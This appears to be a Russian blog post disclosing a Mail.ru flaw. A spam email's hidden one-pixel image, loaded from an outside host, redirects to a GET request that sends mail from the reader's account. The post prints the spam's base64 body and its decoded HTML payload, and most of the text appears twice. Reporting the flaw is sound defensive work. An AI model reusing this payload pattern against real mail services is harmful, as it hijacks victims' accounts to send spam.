Услышав сегодня на одном из новостных сайтов, что Mail.ru обновили свой поисковый интерфейс, зашёл туда, чтобы узреть его.
Не увидел ничего нового в интерфейсе, писем во «Входящих» не было. Лениво щёлкнул на папочке «Спам», поглядел письма и… Обнаружил, что пришло новое письмо. Письмо было от Mail Delivery System (Mailer-Daemon@prof1.mail.ru). Содержало оно сообщение, что моё письмо не было доставлено уйме адресатов из-за того, что было посчитано спамом. Я же себя считал достаточно вменяемым, чтобы понимать, что такого письма я не слал.
Если предисловие вас заинтересовало, продолжу.
Вернулся в «Спам» на то самое письмо, нажал «F5». Новое письмо о спаме. Посмотрел исходник письма. Привожу только тело:
Распаковав BASE64 получаем нижеследующий HTML-код:
Ничего особо страшного. Ссылочка, картинка. Тело HTML отличается от текста. Неважно.
Посмотрел исходник страницы собственно mail.ru… А там среди уймы мусорного кода:
![image](https://habrastorage.org/r/w1560/files/044/b85/e48/044b85e48f144234a096558f33d6bfe4.png)
Тоже, как оказалось, ничего страшного здесь нет.
А проблема кроется в этой самой картинке, friend.gif. При наличии реферера с mail.ru, она даёт редирект на
![redirect image](https://habrastorage.org/r/w1560/files/988/19a/9d3/98819a9d30654de89859e544703d7476.png)
И вот этот GET-запрос(!) отправляет почту большому количеству адресатов.
Будем надеятся, проблему исправят быстро. Копию отправлю в Mail.ru, делюсь с уважаемым сообществом, т.к. уязвимость уже эксплуатируется.
Мораль же сей басни проста. Всегда стоит соблюдать RFC, согласно которому GET-запросы не должны менять состояние сервера. Надеюсь, начинающие разработчики правильно поймут важность этого простого правила.
Не увидел ничего нового в интерфейсе, писем во «Входящих» не было. Лениво щёлкнул на папочке «Спам», поглядел письма и… Обнаружил, что пришло новое письмо. Письмо было от Mail Delivery System (Mailer-Daemon@prof1.mail.ru). Содержало оно сообщение, что моё письмо не было доставлено уйме адресатов из-за того, что было посчитано спамом. Я же себя считал достаточно вменяемым, чтобы понимать, что такого письма я не слал.
Если предисловие вас заинтересовало, продолжу.
Вернулся в «Спам» на то самое письмо, нажал «F5». Новое письмо о спаме. Посмотрел исходник письма. Привожу только тело:
----ALT--ZBQj2NTm1312448872
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: base64
dnRpankgZml1cHcga3ZrZHpvIHNsc2J2ciBxY25odCA=
----ALT--ZBQj2NTm1312448872
Content-Type: text/html; charset=koi8-r
Content-Transfer-Encoding: base64
CjxIVE1MPjxCT0RZPnZ0aWp5IGZpdXB3IDxhIGhyZWY9Imh0dHA6Ly9wb2h1ZGV0Zm9ydW1mb3Rr
aW0uYmxvZ3Nwb3QuY29tIj5rdmtkem8gc2xzYnZyIHFjbmh0IDwvYT48aW1nIHNyYz1odHRwOi8v
aW5mbzIzMmluZm9ybWF0aW8uY29tL2ZyaWVuZC5naWYgd2lkdGg9MT48L0JPRFk+PC9IVE1MPgo=
----ALT--ZBQj2NTm1312448872--
Распаковав BASE64 получаем нижеследующий HTML-код:
<HTML><BODY>vtijy fiupw <a href="http://pohudetforumfotkim.blogspot.com">kvkdzo slsbvr qcnht </a><img src=http://info232informatio.com/friend.gif width=1></BODY></HTML>
Ничего особо страшного. Ссылочка, картинка. Тело HTML отличается от текста. Неважно.
Посмотрел исходник страницы собственно mail.ru… А там среди уймы мусорного кода:
![image](https://habrastorage.org/files/044/b85/e48/044b85e48f144234a096558f33d6bfe4.png)
Тоже, как оказалось, ничего страшного здесь нет.
А проблема кроется в этой самой картинке, friend.gif. При наличии реферера с mail.ru, она даёт редирект на
![redirect image](https://habrastorage.org/files/988/19a/9d3/98819a9d30654de89859e544703d7476.png)
И вот этот GET-запрос(!) отправляет почту большому количеству адресатов.
Будем надеятся, проблему исправят быстро. Копию отправлю в Mail.ru, делюсь с уважаемым сообществом, т.к. уязвимость уже эксплуатируется.
Мораль же сей басни проста. Всегда стоит соблюдать RFC, согласно которому GET-запросы не должны менять состояние сервера. Надеюсь, начинающие разработчики правильно поймут важность этого простого правила.